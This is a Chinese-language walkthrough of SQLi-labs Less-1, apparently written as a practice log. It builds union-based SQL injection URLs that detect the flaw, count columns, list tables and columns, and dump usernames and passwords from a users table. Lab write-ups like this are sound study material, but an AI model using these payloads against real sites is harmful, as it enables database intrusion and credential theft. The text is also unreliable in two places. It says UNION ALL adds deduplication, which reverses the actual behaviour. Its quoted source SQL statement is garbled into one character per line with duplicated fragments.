这是 Sqlilabs 注入练习的第一节:D
http://sqlilabs/Less-1/
提示我们构造 ID
http://sqlilabs/Less-1/?id=1
构造之后得到:
尝试往 id 后边输入 ’ ,表明可能存在 SQL 注入
http://sqlilabs/Less-1/?id=1'
可用 #(%27) 或者 --+ 省略后面字符,再次回显正常结果:
此处可以利用 order by,对前面的数据进行排序,观察临界值,临界值就是我们最多能够掌控的。
3 列时回显仍然正常,4 开始报错
http://sqlilabs/Less-1/?id=1' order by 3--+
http://sqlilabs/Less-1/?id=1' order by 4--+
由于可操控前三列,那就在这三列做文章,可结合 union 联合注入,union all 和 union 的区别就是 union all 增加了去重功能。在使用 union 时,当前一个语句为空时就会将后面的内容显示出来,可因此构造注入,注意将 1 改成了 -1
http://sqlilabs/Less-1/?id=-1' union select 1,2,3--+
接下来就可以爆数据库表:
http://sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆数据库列:
http://sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+
爆数据:
http://sqlilabs/Less-1/?id=-1' union select 1,2,(select group_concat(username,0x3a,password) from users) users--+
查看源码,可以知道源 SQL 语句为:
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
sql="SELECT * FROM users WHERE id=
sql="SELECT∗FROMusersWHEREid=‘id’ LIMIT 0,1"
并没有对 id 进行任何过滤,所以一个单引号就引发了数据泄露
:D